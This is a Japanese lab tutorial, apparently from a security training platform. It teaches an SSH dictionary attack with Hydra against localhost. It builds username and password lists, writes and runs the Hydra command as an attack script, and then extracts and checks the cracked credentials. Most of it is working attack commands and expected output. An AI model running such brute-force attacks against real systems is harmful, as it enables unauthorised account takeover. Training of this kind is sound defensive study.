はじめに
この実験では、強力なパスワードクラッキングツールである Hydra を使用して、SSH サービスに対する辞書攻撃を行う方法を学びます。ユーザー名とパスワードのリストを生成し、攻撃パラメータを設定し、SSH サーバーに対してターゲットを絞った総当たり攻撃を実行するプロセスを探索します。
この実験では、Hydra のコマンド構造、出力の解釈、結果の分析に関する実践的な経験を提供します。入力ファイルの検証、攻撃の起動、成功したログイン資格情報の特定を練習し、一般的な失敗パターンを理解します。
ユーザー名とパスワードのリストを読み込む
このステップでは、辞書攻撃に必要な要素であるユーザー名とパスワードのリストを準備します。辞書攻撃は、事前に定義されたリスト(辞書)内のすべての単語を潜在的な資格情報として系統的に試すことで機能します。SSH 攻撃では、2 つの別々のファイルが必要です。1 つは考えられるユーザー名を含むファイル、もう 1 つは考えられるパスワードを含むファイルです。
- まず、ファイルを保存するプロジェクトディレクトリに移動します。これにより、すべてが整理されます。
cd ~/project
- シンプルなテキストエディタである nano を使用して、ユーザー名のリストを作成します。ファイル名
usernames.txtは一般的な名前ですが、別の名前を付けることもできます。
nano usernames.txt
- nano エディタで、システムが使用する可能性のある一般的な SSH ユーザー名を入力します。各ユーザー名は別々の行に記載する必要があります。これらは、管理者が使用する典型的なデフォルトまたは一般的なユーザー名です。
admin
root
user
test
guest
labex
nano で保存するには、Ctrl+O(文字の O)を押し、次に Enter キーを押してファイル名を確認します。Ctrl+X で nano を終了します。これにより、コマンドラインに戻ります。
同じ手順でパスワードファイルを作成します。このような脆弱なパスワードは、実際のシステムでも驚くほど一般的です。
nano passwords.txt
- これらの一般的なパスワードを 1 行に 1 つずつ入力します。いくつかのパスワードがユーザー名と一致していることに注意してください。人々はしばしば両方に同じ文字列を使用します。
password
123456
admin
qwerty
letmein
labex
前と同じように nano を保存して終了します(Ctrl+O、Enter、Ctrl+X)。
ファイルが正しく作成されたことを確認しましょう。
ls -lコマンドでファイルが存在することがわかり、catでその内容が表示されます。これは、次のステップに進む前の重要な品質チェックです。
ls -l usernames.txt passwords.txt
cat usernames.txt
cat passwords.txt
ファイル名とそのサイズが表示され、続いて内容が表示されるはずです。これらのファイルは辞書攻撃の基礎を形成します。次のステップでは、Hydra がこれらのリストからのすべてのユーザー名/パスワードの組み合わせを SSH サーバーに対して系統的に試します。
SSH 辞書攻撃用に Hydra を設定する
このステップでは、前のステップで作成したユーザー名とパスワードのリストを使用して、SSH 辞書攻撃を実行するように Hydra を設定します。辞書攻撃は、Hydra がワードリストからすべての可能な組み合わせを系統的に試して、有効な資格情報を見つける方法です。
- まず、プロジェクトファイルが保存されている正しい作業ディレクトリにいることを確認します。
cd ~/project
このコマンドは、現在のディレクトリを作業するプロジェクトフォルダに変更します。
- Hydra のバージョンを確認することで、Hydra がインストールされていることを検証します。
hydra -v
インストールされている Hydra のバージョンが表示されるはずです。これにより、Hydra が使用可能であることが確認され、後で問題が発生した場合のトラブルシューティングに役立ちます。
- ローカル SSH サーバーの IP アドレスを含む
target.txtという名前のターゲットファイルを作成します。
echo "127.0.0.1" > target.txt
この実験環境では自分のマシンに対してテストを行っているため、ターゲットとして 127.0.0.1(ローカルホスト)を使用しています。
- SSH 攻撃のための基本的な Hydra コマンド構造を理解します。
hydra -L <username_list> -P <password_list> <target> ssh
これは、必要な最小限のパラメータを示しています。ユーザー名リスト (-L)、パスワードリスト (-P)、ターゲットの IP アドレスまたはホスト名、および攻撃対象のサービス (ssh) です。
- 自分のファイルを使用して実際の Hydra コマンドを準備します(ただし、まだ実行しないでください)。
hydra -L usernames.txt -P passwords.txt -t 4 -vV 127.0.0.1 ssh
ここで:
-Lはユーザー名リストファイル (usernames.txt) を指定します。-Pはパスワードリストファイル (passwords.txt) を指定します。-t 4は並列接続の数を設定します(テストを高速化するために 4 つのスレッド)。-vVは詳細出力を有効にして、攻撃の進行状況を確認できるようにします。
- このコマンドをスクリプトファイルに保存して、次のステップで実行できるようにします。
echo 'hydra -L usernames.txt -P passwords.txt -t 4 -vV 127.0.0.1 ssh' > attack.sh
chmod +x attack.sh
スクリプトを作成することで、攻撃を再実行しやすくなり、コマンドを誤入力することがなくなります。chmod コマンドは、スクリプトを実行可能にします。
- 次のステップに進む前に、すべての必要なファイルが存在することを確認します。
ls -l usernames.txt passwords.txt target.txt attack.sh
この最後のチェックで、必要なすべてのファイル(ユーザー名リスト、パスワードリスト、ターゲットファイル、および攻撃スクリプト)があることが確認されます。
SSH 辞書攻撃を実行する
このステップでは、前のステップで準備した設定を使用して、Hydra を用いた SSH 辞書攻撃を実行します。Hydra は、SSH のようなサービスに対して様々なユーザー名とパスワードの組み合わせを系統的に試す、人気のあるパスワードクラッキングツールです。
- まず、攻撃スクリプトがある正しい作業ディレクトリにいることを確認します。Hydra がワードリストと設定ファイルにアクセスする必要があるため、これは重要です。
cd ~/project
- 攻撃スクリプトの内容を表示して、準備ができていることを確認します。これにより、実行前に Hydra コマンドのパラメータを再確認できます。
cat attack.sh
先ほど準備した Hydra コマンドが、正しいターゲット IP、ポート、およびワードリストのパスで表示されるはずです。
- 実行する前に、自分のマシンに対してテストを行っているため、ローカルホストで SSH サービスが実行されていることを確認します。Hydra は接続を試みるためにアクティブな SSH サービスが必要です。
sudo service ssh status
実行されていない場合は、以下のコマンドで起動します。
sudo service ssh start
- 攻撃スクリプトを実行します。これにより、設定したすべてのパラメータで Hydra が起動します。
./attack.sh
- 攻撃の進行状況をリアルタイムで観察します。Hydra は以下の情報をリアルタイムで提供します。
- ユーザー名とパスワードの組み合わせによる各接続試行
- 成功したログイン(見つかった場合に強調表示されます)
- 失敗した試行(出力の大部分)
- 成功率や所要時間を含む最終統計情報
- 資格情報が見つかった場合、期待される出力は次のようになります。
[DATA] attacking ssh://127.0.0.1:22/
[VERBOSE] Resolving addresses ... done
[22][ssh] host: 127.0.0.1 login: labex password: labex
1 of 1 target successfully completed, 1 valid password found
- 攻撃は以下の条件で自動的に停止します。
- ワードリストのすべての組み合わせがテストされたとき
- 有効な資格情報が見つかったとき(Hydra のデフォルトの動作)
- Ctrl+C で手動で中断した場合
- 後で分析するために結果をファイルに保存するには、出力をリダイレクトします。これにより、すべての試行と結果の永続的な記録が作成されます。
./attack.sh > attack_results.txt
ログイン成功結果を確認する
このステップでは、SSH 辞書攻撃の結果を分析して、成功したログイン試行を特定します。セキュリティテストを行う際には、さらなる分析を進める前に、見つけた情報を適切に文書化して検証することが重要です。
- まず、実験ファイルがすべて保存されているプロジェクトディレクトリに移動します。
cd ~/project
- 前のステップで攻撃結果を保存したかどうかを確認します。
ls -lコマンドは、作成時間やパーミッションを含む詳細なファイル情報を表示します。
ls -l attack_results.txt
- 以前に結果を保存していない場合は、このコマンドを実行して結果を生成します。
>記号は、Hydra の出力をテキストファイルにリダイレクトして、後で分析できるようにします。
./attack.sh > attack_results.txt
- 完全な攻撃結果を表示します。
catコマンドは、ファイルの全内容をターミナルに表示します。
cat attack_results.txt
- 成功したログインエントリを探します。これは次のような形式で表示されます。各成功した試行には、3 つの重要な情報が含まれています。
[22][ssh] host: 127.0.0.1 login: labex password: labex
- 潜在的に大きな結果ファイルから成功した試行のみを抽出するには、
grepを使用して "login:" を含む行をフィルタリングします。これにより、結果をレビューする際の時間を節約できます。
grep "login:" attack_results.txt
- 出力形式には、検証に必要な 3 つの重要な要素が表示されます。
- ターゲット IP アドレス (127.0.0.1) - 資格情報を受け付けたマシン
- 成功したユーザー名 (login) - 有効なアカウント名
- 有効なパスワード - そのアカウントに対応するパスワード
- SSH ログインを試行して資格情報を検証します。これにより、資格情報が実際に実際の SSH セッションで機能することが確認されます。
ssh labex@127.0.0.1
初回接続時にホストキーを受け入れるように求められた場合は、「yes」と入力し、要求されたらパスワードを入力します。
- ログインに成功した後、SSH セッションを適切に終了して、ローカルターミナルに戻ります。
exit
- 読みやすさを向上させるために、このコマンドパイプラインで結果を整形します。
awkコマンドは、出力を明確にラベル付けされたフィールドに再構成します。
grep "login:" attack_results.txt | awk '{print "Host:",$3,"| Username:",$5,"| Password:",$7}'
攻撃失敗メッセージを理解する
このステップでは、Hydra を用いた SSH 攻撃の出力を調べ、特定のログイン試行が失敗した原因を理解します。これらの失敗メッセージを分析することは、システムの脆弱性を評価するセキュリティ専門家と攻撃戦略を洗練させるペネトレーションテスターの両方にとって重要です。
- まず、攻撃結果が保存されているプロジェクトディレクトリに移動します。これにより、正しいファイルを操作していることが保証されます。
cd ~/project
- 次に、完全な攻撃結果ファイルを表示します。このファイルには、Hydra のログイン試行のすべての出力が含まれています。
cat attack_results.txt
- 具体的に失敗した試行に焦点を当てるために、成功したログインを除外し、一般的なエラーパターンを探します。
grepコマンドを使用すると、重要な失敗メッセージを抽出できます。
grep -v "login:" attack_results.txt | grep -E "invalid|failed|error"
- 最も一般的な失敗メッセージとその意味を以下に示します。
invalid password: ユーザー名は正しいが、パスワードが一致しません。invalid user: ユーザー名がターゲットシステムに存在しません。connection refused: ターゲットで SSH サービスが実行されていません。connection timeout: ネットワークの問題またはファイアウォールがアクセスをブロックしています。too many connections: ターゲットが急速なログイン試行を検出し、ブロックしました。
- 各失敗タイプが何回発生したかを数えましょう。これを数えることで、攻撃パターンを理解するのに役立ちます。
grep -c "invalid password" attack_results.txt
grep -c "invalid user" attack_results.txt
- 特定の時間に失敗が発生したかどうか(レート制限の可能性を示すかもしれません)を確認するために、タイムスタンプを抽出して数えます。
grep "invalid" attack_results.txt | awk '{print $1}' | uniq -c
- 次に、失敗の簡単な要約レポートを作成します。この整理されたビューは、見つけたことを文書化するのに役立ちます。
echo "Attack Failure Analysis" > failure_analysis.txt
echo "Invalid passwords: $(grep -c 'invalid password' attack_results.txt)" >> failure_analysis.txt
echo "Invalid users: $(grep -c 'invalid user' attack_results.txt)" >> failure_analysis.txt
cat failure_analysis.txt
- より深い調査のために、ターゲットシステムの SSH ログを確認することができます(アクセス権がある場合)。これらのログには、より詳細なエラー情報が含まれていることが多いです。
sudo grep 'sshd' /var/log/auth.log | tail -20
まとめ
この実験では、ユーザー名とパスワードのリストを準備し、Hydra を使用して SSH に対する辞書攻撃を行う方法を学びました。このプロセスには、資格情報ファイルの作成、内容の検証、および効果的な攻撃のために適切なフラグ (-L、-P、-t) を使用して Hydra コマンドを構成することが含まれていました。
さらに、Hydra の出力を解釈して成功したログインを特定し、攻撃結果を分析する方法を探りました。この実験では、SSH 資格情報攻撃における適切なファイルの準備、コマンドの設定、および体系的なテストの重要性を示しました。


